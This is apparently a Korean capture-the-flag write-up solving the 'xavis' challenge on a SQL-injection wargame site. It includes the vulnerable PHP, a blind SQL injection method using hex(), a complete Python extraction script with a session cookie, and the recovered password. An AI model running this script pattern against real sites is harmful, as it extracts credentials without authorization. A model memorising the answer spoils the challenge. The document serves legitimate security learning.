<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");
highlight_file(__FILE__);
?>
처음 딱 보았을 때 너무 쉬워 보여서 오히려 당황했다.
필터링도 regex
, like
제외하면 항상 필터링 당하던 것들이고 딱 보면 블라인드 인젝션을 시도해야 할 거 같은 코드이다.
처음에는 이전에 풀었던 문제처럼 length(pw)
로 패스워드의 길이를 찾은 결과 비밀번호는 12자리라는 것을 알아내서 기존의 방식으로 공격을 시도하였으나 원인 모를 오류로 계속 실패하였다.
아무런 진전이 없어서 문제에 관해 찾아보니까 비밀번호가 한글이라는 것을 알게 되었다.
이 사실을 알고 설마 하면서 length(mid(pw,1,1))
로 한 글자의 크기를 알아보았는데 4가 나왔다.
한 글자의 크기가 4이고 총 크키가 12가 나왔으므로 비밀번호는 3글자의 한국어인 것을 알 수 있다.
유니코드에서 한국어에 할당된 번호는 15380608 ~ 15572643이다. 엄청 많다는 소리다. 이것을 일일이 대입을 하면 내 컴퓨터가 죽든지 서버가 죽든지 내 인내심이 죽던지 셋 중의 하나는 죽을 거 같아서 한글인 pw
값을 hex()
를 이용하여 16진수 값으로 변환을 하고 그 16진수 값을 블라인드 인젝션을 통해 알아내는 것으로 방향을 틀었다.
length(hex(pw))
으로 16진수의 길이를 구하면 24인 것을 알 수 있다.
따라서 mid(hex(pw),1,1)
이런 식으로 16진수 값을 한 개씩 24자리를 모두 알아낼 수가 있다.
위에서 말했듯이 우리는 비밀번호가 3자리의 한국어인 것을 이미 알고 있다. 그리고 16진수의 값은 24자리이므로 8자리의 16진수가 한 글자를 나타내는 것을 알 수 있다.
따라서 8자리씩 끊고 앞에서부터 차례대로 한국어로 변환해주면 pw
세글자가 나온다.
이를 기반으로 블라인드 SQL 인젝션을 위한 스크립트를 짜보았다.
# -*- coding: utf-8 -*-
import urllib.request
answer = ""
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
session_id = "PHPSESSID="+"5u84grpvs4dd5tsgg6st4q4kse"
url_start = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"+'?'
pw_len = 0
word_len = 0
hex_len = 0
i = 1
word = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
print("비밀번호 크기 찾는 중")
while 1:
pw_len += 1
url_len = url_start + "pw=%27%20or%20id%20=%200x61646d696e%20and%20length(pw)={}%23".format(str(pw_len))
#print(pw_len)
print('.', end= ' ')
req_len = urllib.request.Request(url_len) # 엔터 치기전 상태
req_len.add_header('User-agent', user_agent) # 헤더값 설정(los가 뱉어냄)
req_len.add_header("Cookie", session_id)
res_len = urllib.request.urlopen(req_len) # 엔터누른 효과
data_len = res_len.read().decode('utf-8') # 본문만 가져오기
if data_len.find("<h2>Hello admin</h2>") != -1:
print('\n\n비밀번호 크기 : {}\n'.format(str(pw_len)))
break
print("한 단어 크기 찾는 중\n")
while 1:
word_len += 1
url_word = url_start + "pw=%27%20or%20id%20=%200x61646d696e%20and%20length(mid(pw,1,1))={}%23".format(str(word_len))
#print(word_len)
req_word = urllib.request.Request(url_word) # 엔터 치기전 상태
req_word.add_header('User-agent', user_agent) # 헤더값 설정(los가 뱉어냄)
req_word.add_header("Cookie", session_id)
res_word = urllib.request.urlopen(req_word) # 엔터누른 효과
data_word = res_word.read().decode('utf-8') # 본문만 가져오기
if data_word.find("<h2>Hello admin</h2>") != -1:
print('1단어 크기 : {}\n'.format(str(word_len)))
break
password_length = int(pw_len/word_len)
print('비밀번호 글자 수 : {}\n'.format(password_length))
print("hex(pw) 길이 찾는 중")
while 1:
hex_len += 1
url_hex = url_start + "pw=%27%20or%20id%20=%200x61646d696e%20and%20length(hex(pw))={}%23".format(str(hex_len))
#print(hex_len)
print('.', end= ' ')
req_hex = urllib.request.Request(url_hex) # 엔터 치기전 상태
req_hex.add_header('User-agent', user_agent) # 헤더값 설정(los가 뱉어냄)
req_hex.add_header("Cookie", session_id)
res_hex = urllib.request.urlopen(req_hex) # 엔터누른 효과
data_hex = res_hex.read().decode('utf-8') # 본문만 가져오기
if data_hex.find("<h2>Hello admin</h2>") != -1:
print('\n\nhex(pw) 길이: {}\n'.format(str(hex_len)))
break
print("비밀번호 찾는 중\n")
for i in range(1, hex_len+1):
print("{}번째 값 찾는 중".format(str(i)))
for j in range(len(word)):
url_pw = url_start+"pw=%27%20or%20id%20=%200x61646d696e%20and%20mid(hex(pw),{},1)='{}".format(str(i), word[j])
#print(url_pw)
print(word[j])
req_pw = urllib.request.Request(url_pw) # 엔터 치기전 상태
req_pw.add_header('User-agent', user_agent) # 헤더값 설정(los가 뱉어냄)
req_pw.add_header("Cookie", session_id)
res_pw = urllib.request.urlopen(req_pw) # 엔터누른 효과
data_pw = res_pw.read().decode('utf-8') # 본문만 가져오기
if data_pw.find('<h2>Hello admin</h2>') != -1:
print("{}번쨰 문자 : {}\n".format(str(i), word[j]))
answer += word[j]
break
word_size = int(hex_len/password_length)
str1 = '0x'+answer[:word_size]
str2 = '0x'+answer[word_size:2*word_size] #
str3 = '0x'+answer[2*word_size:]
print('\n첫번째 단어 : {}\n두번째 단어 : {}\n세번째 단어 : {}'.format(str1, str2, str3))
스크립트를 실행해보면
첫 번째 단어는 0x0000c6b0
, 두 번째 단어는 0x0000c655
, 세 번째 단어는 0x0000ad73
이 나온다.
유니코드 표를 참조하여 한국어로 변환해보면
첫 번째 단어는 우
, 두 번째 단어는 왕
, 세 번째 단어는 굳
,
즉 비밀번호는 우왕굳
이다.
https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=우왕굳